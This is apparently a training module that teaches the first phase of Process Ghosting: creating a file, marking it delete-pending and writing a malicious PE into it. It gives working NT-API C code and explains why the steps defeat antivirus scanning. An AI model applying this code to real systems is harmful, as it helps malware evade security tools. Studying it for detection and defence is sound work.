Difficulty: Intermediate

Module 4: Creating the Ghost File

The first phase of Process Ghosting — creating a file, marking it for deletion, and writing the payload into a file that is already condemned.

Module Objective

Implement the first half of the Process Ghosting chain: creating a temporary file with NtCreateFile using FILE_SUPERSEDE, marking it delete-pending via NtSetInformationFile with FileDispositionInformation, and writing the malicious PE payload into the delete-pending file. Understand why each parameter and flag is chosen.

1. Step 1: Creating the Temporary File

The first step is creating a file on disk that will temporarily hold our payload PE. This file only needs to exist long enough for us to create a section from it. The file path can be anything writable — typically a temp directory:

HANDLE hFile = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK iosb = { 0 };
OBJECT_ATTRIBUTES objAttr = { 0 };
UNICODE_STRING filePath;

// Path for the temporary ghost file
RtlInitUnicodeString(&filePath,
    L"\\??\\C:\\Users\\Public\\ghost.exe");

InitializeObjectAttributes(
    &objAttr,
    &filePath,
    OBJ_CASE_INSENSITIVE,
    NULL,
    NULL
);

NTSTATUS status = NtCreateFile(
    &hFile,
    GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
    &objAttr,
    &iosb,
    NULL,                       // AllocationSize (auto)
    FILE_ATTRIBUTE_NORMAL,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,  // ShareAccess
    FILE_SUPERSEDE,             // CreateDisposition
    FILE_SYNCHRONOUS_IO_NONALERT,  // CreateOptions
    NULL,                       // EaBuffer
    0                           // EaLength
);

Key Parameter Analysis

ParameterValueWhy
DesiredAccessGENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZEGENERIC_WRITE for writing payload, DELETE for marking delete-pending, SYNCHRONIZE for synchronous I/O
ShareAccessFILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE (0x7)Full sharing — the delete-pending state itself prevents other processes from opening the file, so exclusive access is not required
CreateDispositionFILE_SUPERSEDECreates new file or replaces existing one. Clean slate regardless of prior state.
CreateOptionsFILE_SYNCHRONOUS_IO_NONALERTSynchronous I/O simplifies subsequent write operations

2. Understanding FILE_SUPERSEDE

FILE_SUPERSEDE is the create disposition that means: if the file exists, delete it and create a new empty file; if it does not exist, create a new file. This is equivalent to CREATE_ALWAYS in Win32 terms but goes through a slightly different code path in the kernel.

CreateDispositionFile ExistsFile Does Not ExistWin32 Equivalent
FILE_SUPERSEDEReplace (delete + create)Create newCREATE_ALWAYS
FILE_CREATEFailCreate newCREATE_NEW
FILE_OPENOpen existingFailOPEN_EXISTING
FILE_OPEN_IFOpen existingCreate newOPEN_ALWAYS
FILE_OVERWRITEOpen and truncateFailTRUNCATE_EXISTING
FILE_OVERWRITE_IFOpen and truncateCreate newCREATE_ALWAYS

FILE_SUPERSEDE is preferred for ghosting because it guarantees a clean file regardless of what was there before, and it does not require the file to pre-exist.

3. Step 2: Marking Delete-Pending

With the file handle open, we immediately mark it for deletion using NtSetInformationFile. This must happen before writing the payload:

// Mark the file as delete-pending
FILE_DISPOSITION_INFORMATION dispInfo = { 0 };
dispInfo.DeleteFile = TRUE;

status = NtSetInformationFile(
    hFile,
    &iosb,
    &dispInfo,
    sizeof(FILE_DISPOSITION_INFORMATION),
    FileDispositionInformation  // InfoClass = 13
);

Why Delete-Pending BEFORE Writing?

This order is critical. If we wrote the payload first and then tried to mark delete-pending, there is a window where the file exists on disk with malicious content and no deletion mark. An AV real-time scanner monitoring file writes could detect the payload during this window. By marking delete-pending first, we ensure that from the moment the payload touches the file, no other process can open it (they get STATUS_DELETE_PENDING).

After this call succeeds, the file is in the delete-pending state. Our handle is still fully functional, but any new attempt to open the file by another process will fail. The AV file system minifilter may see the NtSetInformationFile call, but at this point the file contains no payload yet — it is empty.

4. Step 3: Writing the Payload

Now we write the malicious PE into the delete-pending file. The file is condemned but our handle still works:

// Assume payloadBuffer contains the malicious PE bytes
// and payloadSize is its size
LARGE_INTEGER byteOffset = { 0 };

status = NtWriteFile(
    hFile,
    NULL,           // Event
    NULL,           // ApcRoutine
    NULL,           // ApcContext
    &iosb,
    payloadBuffer,  // Buffer containing the PE
    payloadSize,    // Length
    &byteOffset,    // ByteOffset (start of file)
    NULL            // Key
);

What Gets Written

The payload is a complete, valid PE file. It must be a properly formed executable because the kernel will parse it as a PE when creating the SEC_IMAGE section. This means valid MZ/PE headers, correct section alignment, valid entry point RVA, and proper import table (if imports are needed). The payload is typically read from an embedded resource, a separate file, or received over the network.

// Loading the payload PE from a file (the source of the malicious image)
HANDLE hPayloadFile = CreateFileW(
    L"C:\\path\\to\\payload.exe",
    GENERIC_READ, FILE_SHARE_READ,
    NULL, OPEN_EXISTING, 0, NULL);

DWORD payloadSize = GetFileSize(hPayloadFile, NULL);
BYTE* payloadBuffer = (BYTE*)HeapAlloc(
    GetProcessHeap(), 0, payloadSize);
ReadFile(hPayloadFile, payloadBuffer, payloadSize, NULL, NULL);
CloseHandle(hPayloadFile);

// Now payloadBuffer contains the PE to ghost

5. The File State After These Steps

After completing steps 1-3, the system is in the following state:

Current State Summary

ComponentState
File on diskExists in MFT, data clusters contain the malicious PE, but marked delete-pending
File handle (hFile)Open, fully functional for read/write/section creation
Other processesCannot open the file (STATUS_DELETE_PENDING)
AV scannerCannot scan the file — cannot open it
Directory listingFile may or may not appear depending on the query method

6. Error Handling Considerations

Robust implementations must handle several potential failure points:

// Complete ghost file creation with error handling
NTSTATUS CreateGhostFile(
    LPCWSTR filePath,
    PBYTE payloadBuffer,
    DWORD payloadSize,
    PHANDLE phFile)
{
    HANDLE hFile = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK iosb = { 0 };
    OBJECT_ATTRIBUTES objAttr = { 0 };
    UNICODE_STRING ntPath;
    NTSTATUS status;

    // Convert to NT path
    RtlInitUnicodeString(&ntPath, filePath);
    InitializeObjectAttributes(&objAttr, &ntPath,
        OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Step 1: Create the file
    status = NtCreateFile(
        &hFile,
        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
        &objAttr, &iosb, NULL,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SUPERSEDE,
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL, 0);

    if (!NT_SUCCESS(status)) {
        // File creation failed - path not writable,
        // permissions issue, etc.
        return status;
    }

    // Step 2: Mark delete-pending
    FILE_DISPOSITION_INFORMATION dispInfo = { 0 };
    dispInfo.DeleteFile = TRUE;

    status = NtSetInformationFile(
        hFile, &iosb, &dispInfo,
        sizeof(dispInfo),
        FileDispositionInformation);

    if (!NT_SUCCESS(status)) {
        // Could not mark for deletion
        NtClose(hFile);
        return status;
    }

    // Step 3: Write the payload
    LARGE_INTEGER offset = { 0 };
    status = NtWriteFile(
        hFile, NULL, NULL, NULL, &iosb,
        payloadBuffer, payloadSize,
        &offset, NULL);

    if (!NT_SUCCESS(status)) {
        // Write failed - close handle (file gets deleted)
        NtClose(hFile);
        return status;
    }

    *phFile = hFile;
    return STATUS_SUCCESS;
}

Critical: Do Not Close the Handle Yet

After writing the payload, the file handle must remain open. Closing it would trigger the actual deletion (since the file is delete-pending), and we would lose our payload before we can create a section from it. The handle will be closed only after the section is successfully created in Module 5.

7. AV Minifilter Interaction Timeline

Understanding when AV minifilter callbacks fire during this process reveals why the technique evades detection:

EventMinifilter CallbackWhat AV Sees
NtCreateFileIRP_MJ_CREATE / pre/post createNew empty file being created — nothing malicious
NtSetInformationFileIRP_MJ_SET_INFORMATIONFile marked for deletion — empty file being deleted (benign)
NtWriteFileIRP_MJ_WRITEData being written to a delete-pending file. AV might try to scan, but the file is delete-pending and exclusive — it cannot get a second handle to read it.

The key evasion: even if the AV minifilter sees the write IRP, it cannot independently open the file to scan it because the file is delete-pending with exclusive access.

8. Implementation in hasherezade’s PoC

Process Ghosting was discovered and documented by Gabriel Landau of Elastic Security. In the proof-of-concept process_ghosting repository, hasherezade wraps these operations in helper functions. The core logic follows the exact pattern described above, using the NT-native API throughout to avoid Win32-level hooks and monitoring:

// Conceptual representation of the hasherezade implementation
bool make_ghost_file(
    const wchar_t* ghostPath,
    BYTE* payload, size_t payloadSize,
    HANDLE &outFileHandle)
{
    HANDLE hFile = nullptr;
    // NtCreateFile with FILE_SUPERSEDE, exclusive access
    if (!nt_create_file(ghostPath, &hFile)) return false;

    // NtSetInformationFile - mark delete pending
    if (!nt_set_delete_pending(hFile, true)) {
        NtClose(hFile);
        return false;
    }

    // NtWriteFile - write the payload PE
    if (!nt_write_file(hFile, payload, payloadSize)) {
        NtClose(hFile);
        return false;
    }

    outFileHandle = hFile;
    return true;  // handle stays open for section creation
}

The function returns the open handle, which is passed to the next phase (section creation) covered in Module 5.

Knowledge Check

Q1: Why is the file marked delete-pending BEFORE writing the malicious payload?

A) Because NtWriteFile requires the file to be in delete-pending state
B) To ensure no other process can open and scan the file from the moment payload data is written
C) Because FILE_SUPERSEDE requires delete-pending to be set first
D) To make the NtWriteFile call faster

Q2: What does FILE_SUPERSEDE do as a CreateDisposition?

A) Opens the file only if it already exists
B) Opens the file and appends to it
C) Creates the file only if it does not exist
D) If the file exists, deletes and recreates it; if not, creates a new file

Q3: What happens if you close the file handle immediately after writing the payload (before creating the section)?

A) The file is deleted because it is delete-pending, and the payload is lost
B) The file is saved normally and the delete-pending flag is cleared
C) The file remains on disk in delete-pending state indefinitely
D) The kernel automatically creates a section before deleting the file